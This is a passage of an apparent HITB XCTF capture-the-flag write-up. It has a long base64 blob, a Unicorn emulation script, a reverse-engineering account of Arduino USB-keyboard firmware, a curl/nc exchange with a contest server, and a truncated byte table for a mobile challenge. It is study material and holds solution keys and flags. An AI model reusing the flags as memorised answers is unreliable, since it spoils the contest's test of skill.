XdZVEFrNTNaMmRuY1dkbloybFBBUWdWUndRSUNSTVZDQXRPZDJkblozRm5aMmRsREhabloyZHpaMmRuWlJGMloyZG5jMmRuWjI4VkFoRUNGUlFDY0dkblozdG5aMmRtWjJkbllqZ2lLVEZuSVdkblp6Wm5aMmRuWjJsRFoyZG5hMmNuWjNqbjUyY2tKMmRuNU9kblo2Wm5aMlJrcG1kbkpHWm1aK1FtWm1lazVtWm5aS1ZtWnlSbFpXZUhKMmRrWkNabFp5dm1KV2ZsWnVkbU9HWm1aa01uWmVmbFpXZGxxNlVsWjZ4bHBHSnJwQ1ZuYkNRa1lTVms1Mk40NUdkbWRPUWtZYmpsWjJaOHBtVmlQZVpuWjdtbW14Z2xabWRuNVdablphVm01MmRsWldkbVBHYmxaUXhtWjJaTVorZG5hR2RuWjJOa0JnWmpiVE1mUFJFbEZpMElOR05ySUZBRU5DQUtWRElCS1RaalpReGpaVGRqWlNaalpRbGpaUzlqWlZSalptTmhGd1lPRlJSallCUVRGUTRKQUdOaUJBOEdGV05pQlI0VEFuUmxaMmRuWjJkbloyWm5aMmRuWjJkbloyZERaMmRuSUdkblp5Qm5aMmN2WjJkbkxtZG5aeTFuWjJjdFoyZG5MV2RuWnkxbloyY3RaMmRuTFdkblp5MW5aMmN0WjJkbkxHZG5aeXRuWjJjcloyZG5LMmRuWnl0bloyY3FaMmRuS21kblp5cG5aMmNxWjJkbkttZG5aeXBuWjJjcVoyZG5LbWRuWnlwbloyY3FaMmRuSzJkblp5dG5aMmNvWjJkbktHZG5aeWhuWjJjb1oyZG5LR2RuWnlobloyYzJaMmRuYldkbloyVUdaV2RuWjBObloyZGxCR1JuWjJkRFoyZG5aUU5qWjJkblEyZG5aMlFGQld0bloyZERaMmRuWlFWcVoyZG5RMmRuWjNkUEFRZ1ZSd0FDQ1FJVkJoTUlGVTUzWjJkbmVtZG5aMnRQQVFnVlJ4UVRCaE1DVG5kbloyZDZaMmRuYVU4QkNCVkhCQWdKRXhVSUMwNTNaMmRuZW1kbloyVTRkbWRuWjN4bloyZGxFWFpuWjJkOFoyZG5abWRuWjJJNElpa3haelJuWjJjSFoyZG5abWRoZjJkblp5Um5aMmZyNXlkbnBXZG5aL2puWjJadTUrZm42eWNuWjZ1bkoyZTQ1K2RuVGFkblprTm5aZWZyWnlabnF5Y21aNnpucG1aa3BtWm5KV1puWjdobjUyYjRKMmRuSkdkbFowUG5aK2ZyWnlabnBDZGxaL2duWjJZTVoyZG1UR2ZuWjIxbloyZDBaMmRuWjJkbloyZGpaVFpqWkJSVlkyVVhZMkVYRlE0SkUyTmdGQk1WRGdrQVkyQUJDQlVLQmhOamFpOHVNeVUvSkRNaEhFSVVHblJtWjJkbloyZG5aMk50RXhVZVJ3WUFCZzRKWm1kbloyZG5aMmRuWjM5bloyY3paMmRuTVdkblp6Rm5aMmN4WjJkbk1XZG5aejVuWjJjK1oyZG5QbWRuWno1bloyYytaMmRuUFdkblp6MW5aMmM5WjJkblBXZG5aejFuWjJjOVoyZG5QV2RuWnp4bloyYzhaMmRuT21kblp6cG5aMmM2WjJkbk9HZG5ad2RuWjJkbFoyZG5aVGRuWjJkbmYyZG5aMklPRlFJVFptZG5aMzluWjJkbVoyZG5ZamdpS1RGb1oyZG5abWRuWjNobloyZHFaMmRuVldkblowWm5aMmNqWjJkblUyZG5aelpuWjJjaFoyZG5CMmRuWnpSbloyY0VaMmRuQkdkblp3Um5aMmNFWjJkblptZG5aMjhNQWg0QkRnc0NabWRuWjJobloyZG1aMmRuWWpnaUtURT0=\\"\\r\\n               }\\r\\n           ]\\r\\n}",\r\n    "i":  "1",\r\n    "x":  "C8E8CBA2189AB38E5D62F5EB1C8E4FF1"\r\n}

flag_patt1: HITBXCTF{W0rk_1n_th3_dark_  moliboom_B64  fCsSBjRnfvRqbX1tY2Njb28fMWdnZ2dnZ2dnZ2dnTxAnZnYnSUk7CggLDgUICApJCxIGZ2dnZ2dnZ2dnZmVoZ2dnZGdnZwpnZ2duJ+fnCidnZ24nZ+YK52dnbifn5gqnZ2duJ2flCmdmZ24n5+Ur5ydnD2fnZwxnZ2dMZ+dnYWdnZ2NhIVcRVhFjYxYTFmNgFBMGAAJWY2QGBmNlF2NgFBMGAAJVZmdnZ2ZnYmdnZ2dqZ2dneGdnZ2dnbl9nZ2drJydnbOcnZysnJ2csp6dn5GdmZzjnZ2Y0J6ZneOdnZm5nZ+drJydnbOcnZysnJ2csp6dn5KdmZzjnZ2Y0Z6VneOdnZm5nZ+RrJydnbOcnZysnJ2csp6dn5OdlZzjnZ2Y/J+fieOdnZm5n5+NuJyThbqck4G4nI+9upyTubmei7m7nou1uZ6Hsbueh625noOprJyFnKyciZ3wnZ2duZ+fpa2cnZyvnJmfrJyVnq2ckZ2vmJGcrpiJn6+YjZ6umI2drZSNnfGdlZ25n5+RrpyZnKycgZ3wnZ2dMZ2dmTGfnZ3lnZ2djYzgkOGNgFBMVDgkAY2IEDwYVY2IFHhMCY2VEdC5nZ2dnZ2dnY2I4ODM4Y2UGdHRnZ2dnZ2dnY2A4ODg4IThjZWp0ZGdnZ2dnZ2djbTg4ODg4CDQIV2NlFGNsODg4ODg4DgguC2NlR2NuOB4VEBQDAwNjZVZjajg4ODg4ODg4OCo4OGNpODg4ODg4ODg4OAY4OGNlE2NuOF8ND1RTFVJjZVRjazg4ODg4ODgkJlcIY2USY2A4DhIeXl9jZQpjdTg4ODg4ODg4ODg4ODg4ADg4Y0IHMjgkBgk4Iwg4LhMHRwUeOCofCR44NAYeODMPDhQUFBRHXU5jZQVmZ2dnZ2dnZ2dnX2dnZ2lnZ2dpZ2dnaWdnZ2lnZ2dpZ2dnaWdnZ2lnZ2dpZ2dnaWdnZ2hnZ2doZ2dnaGdnZ2hnZ2doZ2dnaGdnZ2hnZ2doZ2dnaGdnZ3dnZ2d3Z2dnd2dnZ3dnZ2d3Z2dnd2dnZ3dnZ2d3Z2dnd2dnZ3ZnZ2d1Z2dndGdnZ3NnZ2dyZ2dncWdnZ3BnZ2d/Z2dnfmdnZ3xnZ2d8Z2dnfGdnZ3xnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3tnZ2d7Z2dne2dnZ3lnZ2d5Z2dneWdnZ3lnZ2d4Z2dnZ2dnZ2ZnZ2diOCIpMWdGZ2dnVWdnZ2dnYn5nZ2drZydnbCcnZy1n52fk52dneOfnZgpnZ2cNpydnQydk5+8nJmdk5mZn+OfnZm7nZ+XrZyZnpWfnZ7jn52e45+dnTadnZkOnZ+frpyZnq2cmZ89nZ2bMZ2dn5GdlZ8xnZ2ZMZ+dnbmdnZ2NkDghjYggXAgljZRVnY2IMAh5WY2IVAgYDY2JNBgsLY2QUVnRnZ2dnZ2dnZ2VnZ2dnZ2ZnZmdnZ2dCZ2dnTmdnZ2dnZWRnZ2dKZ2dnTGdnZkxn52dnZ2dnZmdnZ2dnZmdnZ2dBZ2dnT2dnZ2dnZWNnZ2drZydnT2fnZ0xnZ2dMZ+dnZmdnZ2NjFhMWZmdnZ2dnZ2dnZ2NnZ2dAZ2dnQGdnZ0BnZ2dPZ2dnZ2dnZ2ZnZ2diOCIpMWRnZ2dPZ2dnT2dnZ05nZ2dnZ2dnZmdnZ2I4IikxfmdnZ0RnZ2dEZ2dnRGdnZ0RnZ2dEZ2dnTmdnZ0xnZ2dMZ2dnS2dnZ0tnZ2dLZ2dnS2dnZ0pnZ2dKZ2dnSmdnZ0pnZ2dKZ2dnSmdnZ0lnZ2dJZ2dnSWdnZ0lnZ2dWZ2dnVmdnZ1VnZ2dlZ2dnYgEOCwJiZ2dnfmdnZ2EfBAgDAmFnZ2d+Z2dnZWdnZ2I4IikxbwwCHgEOCwJnU2dnZyNnZ2dnZ2x7Z2dnZmdnYiRnZ2fkJ2dnpOdnZ2SmZ2ckZmZn5CZmZ6TmZmdkpWZnJGVlZ+QlZWdHJ2diJOdlZ+unJWelZ2dn+GdmZkPnZ+elZudnZWVnZDxn5WT952dneeaZGMpnZ2elZ2dmZWbnZ49nZ2aMZ2dnTGfnZ2tnZ2djZQ9jZTNjZVJjZQxjZSBjZTRjZSZjZUxjZRZjZQpjZmNhFwYOFRRmZ2dnZ2dmZ2dnZ1xnZ2cmZ2dnZmdsd2dnZyRnZ2f6Z2dnpCdnZ2TmZ2fGp2bn5WbnZ6umJ2esZqZkZWVnZyVl52XlZedluOZnZTynZmTB55oYDGdnZkxn52diZ2dnY2Z0ZmdnZ2dnZ2d0mJiYmJiYmJhjYBQTFQ4JAGNjFBIFZmdnZ2dnZ2dnZ3dnZ2dbZ2dnWmdnZ1pnZ2daZ2dnWmdnZ1lnZ2dZZ2dnWWdnZ1lnZ2dZZ2dnWWdnZ1lnZ2dZZ2dnWmdnZydnZ2cmZ2dnYWdnZ2UUZ2dnZ3dnZ2dlFWZnZ2d3Z2dna08BCBVHDgkDAh9OY2dnZ2lnZ2drTwEIFUcLDgoOE05jZ2dnaWdnZ2xPAQgVRxQTAhdOY2dnZ2lnZ2dlDmJnZ2dqZ2dnZmdnZ2I4Iikxe2dnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1JnZ2dSZ2dnUmdnZ1FnZ2dQZ2dnUGdnZ1BnZ2dQZ2dnX2dnZ19nZ2dfZ2dnUGdnZ1BnZ2cmZ2dnJGdnZyRnZ2ckZ2dnJGdnZyNnZ2dvZ2dnZRdrZ2dne2dnZ2UVamdnZ3tnZ2d3TwEIFUcAAgkCFQYTCBVOd2dnZ3FnZ2drTwEIFUcUEwYTAk53Z2dncWdnZ2lPAQgVRwQICRMVCAtOd2dnZ3FnZ2dlDHZnZ2dzZ2dnZRF2Z2dnc2dnZ28VAhECFRQCcGdnZ3tnZ2dmZ2dnYjgiKTFnIWdnZzZnZ2dnZ2lDZ2dna2cnZ3jn52ckJ2dn5OdnZ6ZnZ2RkpmdnJGZmZ+QmZmek5mZnZKVmZyRlZWeHJ2dkZCZlZyvmJWflZudmOGZmZkMnZeflZWdlq6UlZ6xlpGJrpCVnbCQkYSVk52N45GdmdOQkYbjlZ2Z8pmViPeZnZ7mmmxglZmdn5WZnZaVm52dlZWdmPGblZQxmZ2ZMZ+dnaGdnZ2NkBgZjbTMfPRElFi0INGNrIFAENCAKVDIBKTZjZQxjZTdjZSZjZQljZS9jZVRjZmNhFwYOFRRjYBQTFQ4JAGNiBA8GFWNiBR4TAnRlZ2dnZ2dnZ2ZnZ2dnZ2dnZ2dDZ2dnIGdnZyBnZ2cvZ2dnLmdnZy1nZ2ctZ2dnLWdnZy1nZ2ctZ2dnLWdnZy1nZ2ctZ2dnLGdnZytnZ2crZ2dnK2dnZytnZ2cqZ2dnKmdnZypnZ2cqZ2dnKmdnZypnZ2cqZ2dnKmdnZypnZ2cqZ2dnK2dnZytnZ2coZ2dnKGdnZyhnZ2coZ2dnKGdnZyhnZ2c2Z2dnbWdnZ2UGZWdnZ0NnZ2dlBGRnZ2dDZ2dnZQNjZ2dnQ2dnZ2QFBWtnZ2dDZ2dnZQVqZ2dnQ2dnZ3dPAQgVRwACCQIVBhMIFU53Z2dnemdnZ2tPAQgVRxQTBhMCTndnZ2d6Z2dnaU8BCBVHBAgJExUIC053Z2dnemdnZ2U4dmdnZ3xnZ2dlEXZnZ2d8Z2dnZmdnZ2I4IikxZzRnZ2cHZ2dnZmdhf2dnZyRnZ2fr5ydnpWdnZ/jnZ2Zu5+fn6ycnZ6unJ2e45+dnTadnZkNnZefrZyZnqycmZ6znpmZkpmZnJWZnZ7hn52b4J2dnJGdlZ0PnZ+frZyZnpCdlZ/gnZ2YMZ2dmTGfnZ21nZ2d0Z2dnZ2dnZ2djZTZjZBRVY2UXY2EXFQ4JE2NgFBMVDgkAY2ABCBUKBhNjai8uMyU/JDMhHEIUGnRmZ2dnZ2dnZ2NtExUeRwYABg4JZmdnZ2dnZ2dnZ39nZ2czZ2dnMWdnZzFnZ2cxZ2dnMWdnZz5nZ2c+Z2dnPmdnZz5nZ2c+Z2dnPWdnZz1nZ2c9Z2dnPWdnZz1nZ2c9Z2dnPWdnZzxnZ2c8Z2dnOmdnZzpnZ2c6Z2dnOGdnZwdnZ2dlZ2dnZTdnZ2dnf2dnZ2IOFQITZmdnZ39nZ2dmZ2dnYjgiKTFoZ2dnZmdnZ3hnZ2dqZ2dnVWdnZ0ZnZ2cjZ2dnU2dnZzZnZ2chZ2dnB2dnZzRnZ2cEZ2dnBGdnZwRnZ2cEZ2dnZmdnZ28MAh4BDgsCZmdnZ2hnZ2dmZ2dnYjgiKTE=

from unicorn import *
from unicorn.x86_const import *
import sys

map_address = 0
map_size = 0x1000

binary = open('0400_to_0A00.bin', 'rb').read()

t = ''
for i in xrange(0, 0x100, 0x10):
    mu = Uc(UC_ARCH_X86, UC_MODE_16)
    mu.mem_map(map_address, map_size)

    mu.mem_write(0x400, binary)
    mu.mem_write(0x131, ''.join(map(chr, range(i, i+0x10))))
    mu.mem_write(0x141, '\x10\x00')

    mu.reg_write(UC_X86_REG_ESP, 0x100)
    mu.reg_write(UC_X86_REG_EBP, 0x100)

    mu.emu_start(0x494, 0x4cc)

    t += str(mu.mem_read(0x131, 0x10))

f = ''
for c in '\x25\xA1\x39\x89\xA6\x9D\xD5\xA5\x75\x8D\x4A\x92\xF1\x59\x5E\x91':
    f += chr(t.index(c))

hex (Reverse)

from Balsn

A arduino challenge, data is in intelhex format. I use helper script hex2bin.py from intexHex python library to generate binary.

First try

Loaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)

ldi r22, 0xXX
ldi r24, 0x77
ldi r25, 0x01
call 0xffa
ldi r22, 0xf4
ldi r23, 0x01
ldi r24, 0x00
ldi r25, 0x00
call 0xbda
ldi r22, 0xXX
ldi r24, 0x77
ldi r25, 0x01
call 0xf62
ldi r22, 0x88
ldi r23, 0x13
ldi r24, 0x00
ldi r25, 0x00
call 0xbda

I dumped all XX bytes in previous pattern but didn’t figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile fcn.ffa to following (wrong) psuedo code:

r26 = 0x77
if r22 >= 136:
    r31 = 0
    r30 = r22 & 0x7f
    mem[0x77+4] |= (1 << r30)
    r22 = 0
else:
    r22 + 0x78

if r22 not in mem[0x77+6:0x77+0xc]: # six slots
    try:
        slot = mem[0x77+6:0x77+0xc].index(0)
    except:
        mem[0x77+3] = 0
        mem[0x77+2] = 1
        return
    mem[0x77+6+slot] = r22

fcn_e7e()

I gave up.

Second try

After the third hint Keyboard is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here’s source code from Arduino’s Keyboard library:

size_t Keyboard_::press(uint8_t k)
{
	uint8_t i;
	if (k >= 136) {			// it's a non-printing key (not a modifier)
		k = k - 136;
	} else if (k >= 128) {	// it's a modifier key
		_keyReport.modifiers |= (1<<(k-128));
		k = 0;
	} else {				// it's a printing key
		k = pgm_read_byte(_asciimap + k);
		if (!k) {
			setWriteError();
			return 0;
		}
		if (k & 0x80) {						// it's a capital letter or other character reached with shift
			_keyReport.modifiers |= 0x02;	// the left shift modifier
			k &= 0x7F;
		}
	}

	// Add k to the key report only if it's not already present
	// and if there is an empty slot.
	if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&
		_keyReport.keys[2] != k && _keyReport.keys[3] != k &&
		_keyReport.keys[4] != k && _keyReport.keys[5] != k) {

		for (i=0; i<6; i++) {
			if (_keyReport.keys[i] == 0x00) {
				_keyReport.keys[i] = k;
				break;
			}
		}
		if (i == 6) {
			setWriteError();
			return 0;
		}
	}
	sendReport(&_keyReport);
	return 1;
}

Ahh, fcn.ffa is Keyboard::_press!! It turns out that fcn.f62 is Keyboard::_release and fcn.bda, which use timer register TCNT0, is delay.

Take our previous dump of parameters, convert it to keystroke, and the flag shows up.

      $##&:|#|                          !##| ;&&&&&&$#   #$##@|.    `%##@;  :@#$`
     |#|   |#|                         ;#%.  !#!       .%#|  #&#!  |#|  #&@:  :#%.
   ;#####|.|#|  .|####$`   #&###|!@%.  ;#|   |#;              |#! :@$`   ;#%.`:@%.
     |#!   |#|   `.  :@$` ;#&#  .%#%.  !#|  .%##@&##@#      :&#!  ;#%.   :@$`  #&$`
     |#!   |#|  `%#####&#.%#!#####;#%`!#@;          ;#$`   ;##!    ;#$`   ;#%.` $#$`
     |#!   |#| .%#@%&@#&#  |####&&#%.  ;#|   !##@@##%` :@#######$. `$##@##!   @%.

P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed.

sbsun (Reverse)

$ curl http://47.75.157.209:9999
34846
$ printf '\xabVJL.\xc9\xcc\xcfS\xb2RrO-q\xcbILW\xaa\x05\x00H!\x06\xd3' | nc -u 47.75.157.209 34846 > flag_bin

s = open('flag_bin', 'rb').read()
print(zlib.decompress(s))

HITB{4e773ff1406800017933c9a1c9f14f35}

multicheck (Mobile)

l = [0x8D, 0x8F, 0x93, 0xE6, 0xDD, 0xDD, 0xDA, 0xF0, 0x74, 0xF2, 0x03, 0x6D, 0xC0, 0xD3, 0x07, 0x29, 0x9A, 0x97, 0xB7, 0x3D, 0xD6, 0x0B, 0xBC, 0x53, 0xF4, 0x89, 0x8E, 0x08, 0x21, 0x52, 0xE9, 0x42, 0x35, 0x0D, 0x0B, 0x0C, 0x7D, 0x0E, 0x0F, 0x10, 0x69, 0x44, 0x27, 0x06, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x81, 0x18, 0x1F, 0x20, 0x3D, 0x22, 0x23, 0x24, 0x55, 0x26, 0x27, 0x28, 0x22, 0x2A, 0x2B, 0x2C, 0xCD, 0x2E, 0x2F, 0x30, 0x3B, 0x32, 0x33, 0x34, 0x39, 0x37, 0x37, 0x38, 0x3B, 0x3A, 0x3B, 0x3C, 0xB9, 0x3F, 0x3F, 0x40, 0x4D, 0x42, 0x43, 0x44, 0xD1, 0x47, 0x47, 0x48, 0x48, 0x4A, 0x4B, 0x4C, 0xB9, 0x4F, 0x4F, 0x50, 0x79, 0x57, 0x53, 0x54, 0x41, 0x54, 0x57, 0x58, 0x75, 0x5F, 0x5B, 0x5C, 0x6B, 0x5B, 0x5F, 0x60, 0x5F, 0x67, 0x63, 0x64, 0x24, 0x63, 0x67, 0x68, 0x24, 0x6F, 0x6B, 0x6C, 0x3D, 0x6B, 0x6F, 0x70, 0x25, 0x77, 0x73, 0x74, 0x22, 0x73, 0x77, 0x78, 0x22, 0x7F, 0x7B, 0x7C, 0x1D, 0x7B, 0x7F, 0x80, 0xE6, 0x87, 0x83, 0x84, 0xF3, 0x83, 0x87, 0x88, 0x03, 0x8F, 0x8B, 0x8C, 0x13, 0x8B, 0x8F, 0x90, 0x23, 0x97, 0x93, 0x94, 0x53, 0x93, 0x97, 0x98, 0x50, 0x9F, 0x9B, 0x9C, 0x4C, 0x9B, 0x9F, 0xA0, 0x75, 0xA7, 0xA3, 0xA4, 0x7D, 0xA3, 0xA7, 0xA8, 0x74, 0xAF, 0xAB, 0xAC, 0x4C, 0xAB, 0xAF, 0xB0, 0x54, 0xB7, 0xB3, 0xB4, 0x5D, 0xB3, 0xB7, 0xB8, 0x4A, 0xBF, 0xBB, 0xBC, 0x4B, 0xBB, 0xBF, 0xC0, 0x3C, 0xC7, 0xC3, 0xC4, 0xC0, 0xC0, 0xC7, 0xC8, 0xCB, 0xCA, 0xCB, 0xCC, 0xC9, 0xCE, 0xCF, 0xD0, 0xDB, 0xD2, 0xD3, 0xD4, 0xDE, 0xD6, 0xD7, 0xD8, 0xD5, 0xDA, 0xDB, 0xDC, 0xD0, 0xDE, 0xDF, 0xE0, 0xEF, 0xE2, 0xE3, 0xE4, 0xEA, 0xE6, 0xE7, 0xE8, 0xF8, 0xEA, 0xEB, 0xEC, 0xF9, 0xEE, 0xEF, 0xF0, 0xE4, 0xF2, 0xF3, 0xF4, 0xF0, 0xF6, 0xF7, 0xF8, 0xF8, 0xFA, 0xFB, 0xFC, 0x1D, 0xFA, 0xFF, 0x00, 0x0E, 0x02, 0x03, 0x04, 0x02, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x1D, 0x0E, 0x0F, 0x10, 0x16, 0x12, 0x13, 0x14, 0xFD, 0x12, 0x17, 0x18, 0x0B, 0x1A, 0x1B, 0x1C, 0x15, 0x1E, 0x1F, 0x20, 0xD9, 0x26, 0x23, 0x24, 0x36, 0x26, 0x27, 0x28, 0x21, 0x2A, 0x2B, 0x2C, 0x2D, 0x2B, 0x2F, 0x30, 0x37, 0x32, 0x33, 0x34, 0x3C, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3A, 0x3E, 0x3F, 0x40, 0x48, 0x42, 0x43, 0x44, 0x4D, 0x43, 0x47, 0x48, 0x40, 0x4A, 0x4B, 0x4C, 0x44, 0x4E, 0x4F, 0x50, 0x41, 0x57, 0x53, 0x54, 0x5D, 0x56, 0x57, 0x58, 0x50, 0x5A, 0x5B, 0x5C, 0x41, 0x5B, 0x5F, 0x60, 0x69, 0x62, 0x63, 0x64, 0x6F, 0x66, 0x67, 0x68, 0x4D, 0x6F, 0x6B, 0x6C, 0x6F, 0x6E, 0x65, 0x70, 0x67, 0x72, 0x73, 0x74, 0x77, 0x76, 0x7E, 0x78, 0x61, 0x7A, 0x7B, 0x7C, 0x7F, 0x7E, 0x7E, 0x80, 0x81, 0x82, 0x83, 0x84, 0x87, 0x86, 0x86, 0x88, 0x88, 0x8A, 0x8B, 0x8C, 0x8F, 0x8E, 0x8F, 0x90, 0x87, 0x92, 0x93, 0x94, 0x97, 0x96, 0x91, 0x98, 0x8F, 0x9A, 0x9B, 0x9C, 0x9F, 0x9E, 0x98, 0xA0, 0xB7, 0xA2, 0xA3, 0xA4, 0xA7, 0xA6, 0xAF, 0xA8, 0xBF, 0xAA, 0xAB, 0xAC, 0xAF, 0xAE, 0xA6, 0xB0, 0xA7, 0xB2, 0xB3, 0xB4, 0xB7, 0xB6, 0xB4, 0xB8, 0xA0, 0xBA, 0xBB, 0xBC, 0xBE, 0xBE, 0xBE, 0xC0, 0xC0, 0xC2, 0xC3, 0xC4, 0xC1, 0xC6, 0xC2, 0xC8, 0xD2, 0xCA, 0xCB, 0xCC, 0xC8, 0xCE, 0xCD, 0xD0, 0xC6, 0xD2, 0xD3, 0xD4, 0xD3, 0xD6, 0xD3, 0xD8, 0xC3, 0xDA, 0xDB, 0xDC, 0xDF, 0xDE, 0xDF, 0xE0, 0xE0, 0xE2, 0xE3, 0xE4, 0xE6, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xEE, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0x85, 0xF0, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFC, 0xFE, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x0A, 0x00, 0x07, 0x08, 0x3B, 0x0A, 0x0B, 0x0C, 0x1F, 0x4E, 0x2C, 0x10, 0x1B, 0x12, 0x35, 0x14, 0x1A, 0x16, 0x17, 0x18, 0x70, 0x1A, 0x1B, 0x1C, 0x0E, 0x1E, 0x3F, 0x20, 0x02, 0x22, 0x2A, 0x24, 0x03, 0x26, 0x35, 0x28, 0x29, 0x2A, 0x42, 0x2C, 0x2C, 0x2E, 0x21, 0x30, 0x31, 0x31, 0x37, 0x34, 0x31, 0x36, 0x37, 0x38, 0x92, 0x91, 0x90, 0x97, 0xF0, 0xF3, 0xF2, 0x8D, 0xAE, 0xAD, 0xAC, 0xAB, 0x3D, 0x10, 0x73, 0x5A, 0x49, 0x49, 0x4A, 0x4C, 0x6D, 0x4E, 0x4F, 0x50, 0x32, 0x2E, 0x36, 0xBD, 0xDB, 0x07, 0x86, 0x81, 0xC3, 0x15, 0x4D, 0x68, 0x84, 0xFC, 0xE1, 0xD8, 0x04, 0x8C, 0x2A, 0x81, 0x50, 0x9D, 0x49, 0x84, 0x08, 0x61, 0xA3, 0x48, 0x80, 0xA1, 0xFF, 0xC5, 0x70, 0x72, 0x72, 0x74, 0x74, 0x76, 0x77, 0x78, 0x64, 0x7C, 0x7B, 0x7C, 0x79, 0x7E, 0x7F, 0x80, 0xF1, 0x92, 0x8B, 0x84, 0x85, 0x86, 0x89, 0x88, 0x88, 0x8A, 0x8A, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0xB3, 0x94, 0x93, 0x94, 0x90, 0x96, 0x97, 0x98, 0xA2, 0x9A, 0x9F, 0x9C, 0x4D, 0x9E, 0x9F, 0xA1, 0xAE, 0xA2, 0xA3, 0xA4, 0xA2, 0xA6, 0xA6, 0xA8, 0xAC, 0xAA, 0xAB, 0xAC, 0x86, 0xA8, 0xAF, 0xB0, 0x98, 0xB2, 0xB3, 0xB4, 0xA7, 0xB7, 0x96, 0xD8, 0x65, 0xBA, 0xBB, 0xB4, 0x64, 0xBE, 0xBF, 0xC8, 0xE0, 0xA0, 0x73, 0xC6, 0xE6, 0xE4, 0xCE, 0xC8, 0x44, 0xC9, 0x84, 0xCF, 0xCF, 0xCF, 0xEE, 0xB3, 0xA0, 0x81, 0xD9, 0xD4, 0xC3, 0xD4, 0xF6, 0xF8, 0xFA, 0xD9, 0xD2, 0xDC, 0xDC, 0xCE, 0xFE, 0xD4, 0xD4, 0xA2, 0xF1, 0xE4, 0x87, 0xE2, 0xE7, 0xE8, 0xFA, 0xEF, 0xCB, 0xEC, 0x9C, 0xAE, 0xEB, 0xF0, 0xF3, 0xA6, 0xFF, 0xF0, 0xE6, 0xF3, 0xFF, 0xF8, 0x88, 0xAF, 0xF1, 0xFC, 0xE9, 0xFD, 0x27, 0x00, 0x01, 0x0A, 0x2B, 0xEA, 0x14, 0x05, 0x07, 0x08, 0x19, 0x0A, 0x0F, 0x0C, 0x0F, 0x0E, 0x0F, 0x10, 0x2B, 0x14, 0x13, 0x14, 0x56, 0x16, 0x17, 0x18, 0x68, 0x3A, 0x1D, 0x1C, 0xC1, 0x1E, 0x13, 0x24, 0x33, 0x22, 0x67, 0x27, 0x21, 0x26, 0x35, 0x38, 0x6D, 0x28, 0x2F, 0x2C, 0x3F, 0x2F, 0x3B, 0x35, 0x88, 0x4B, 0x04, 0xAA, 0x27, 0x36, 0x73, 0x3E, 0x37, 0x3A, 0x29, 0x2C, 0x79, 0x39, 0x31, 0x40, 0x53, 0x62, 0x07, 0x4C, 0x4B, 0x46, 0x55, 0x78, 0x0D, 0x43, 0x45, 0x4C, 0x5F, 0x4E, 0x7A, 0xA0, 0x4D, 0x52, 0xE3, 0x05, 0xB5, 0x5C, 0x55, 0x5C, 0xE9, 0x30, 0xCB, 0x57, 0x5F, 0x5F, 0xE8, 0xDA, 0x80, 0x69, 0x61, 0x61, 0xD5, 0x1D, 0xD0, 0xD2, 0xD9, 0xC9, 0x8B, 0x66, 0x6E, 0x6A, 0xDF, 0xFA, 0xE1, 0x79, 0x70, 0x75, 0xC2, 0xCC, 0x96, 0x73, 0x7A, 0x7F, 0xCB, 0xE7, 0xCA, 0xC4, 0xCF, 0x22, 0x59, 0x82, 0x83, 0x85, 0xAD, 0x63, 0x95, 0x88, 0xC2, 0x89, 0x8F, 0x8C, 0x9F, 0x9E, 0xC4, 0x92, 0x95, 0x92, 0x81, 0x94, 0xE4, 0xB6, 0x92, 0x98, 0x9D, 0x9A, 0x97, 0x9C, 0x8C, 0x9E, 0x9F, 0xA0, 0xA7, 0xA2, 0xA1, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xE7, 0xAC, 0xAB, 0xAC, 0x9A, 0xAE, 0xAF, 0xB0, 0x90, 0xF2, 0x53, 0xB4, 0xB5, 0xB4, 0x94, 0xB9, 0xB0, 0xBA, 0xA9, 0xBC, 0x9C, 0xAC, 0x8A, 0xE5, 0xEE, 0xC2, 0x1B, 0xC6, 0xC0, 0xC5, 0x83, 0xCB, 0xCD, 0xCA, 0x1E, 0xFF, 0x32, 0xCE, 0x42, 0xE3, 0x9E, 0xD1, 0xD2, 0xD6, 0x0D, 0xD4, 0xD2, 0xDA, 0x9D, 0xD9, 0xDF, 0xDC, 0x3C, 0xDD, 0xDC, 0xE8, 0x34, 0xD1, 0x1C, 0xE4, 0x68, 0xD5, 0xA8, 0xEB, 0xE8, 0xE8, 0x33, 0xEE, 0xE8, 0xEF, 0xAB, 0xF3, 0xF5, 0xF2, 0x12, 0xF7, 0xF6, 0xE6, 0x22, 0xCB, 0x06, 0xFA, 0x76, 0xCF, 0xB2, 0xFD, 0xFE, 0x02, 0x45, 0x00, 0x07, 0x04, 0xE4, 0x04, 0x05, 0x10, 0xDC, 0x28, 0xF4, 0x0C, 0x80, 0x2C, 0x40, 0x12, 0x10, 0x17, 0xCB, 0x14, 0x15, 0x17, 0xCF, 0x1D, 0x1C, 0x1E, 0x33, 0xCD, 0x0C, 0x1F, 0x1F, 0x20, 0x27, 0x22, 0x21, 0x24, 0x24, 0x26, 0x27, 0x28, 0x75, 0x2C, 0x2B, 0x2C, 0x19, 0x2E, 0x2F, 0x30, 0x10, 0x72, 0xD2, 0x34, 0x35, 0x34, 0x14, 0x39, 0x33, 0x3A, 0x29, 0x3C, 0x1C, 0x7C, 0x0A, 0x65, 0x6D, 0x42, 0x9B, 0x46, 0x40, 0x45, 0x0F, 0x4A, 0x4D, 0x48, 0x3A, 0x5C, 0x4F, 0x4E, 0x4D, 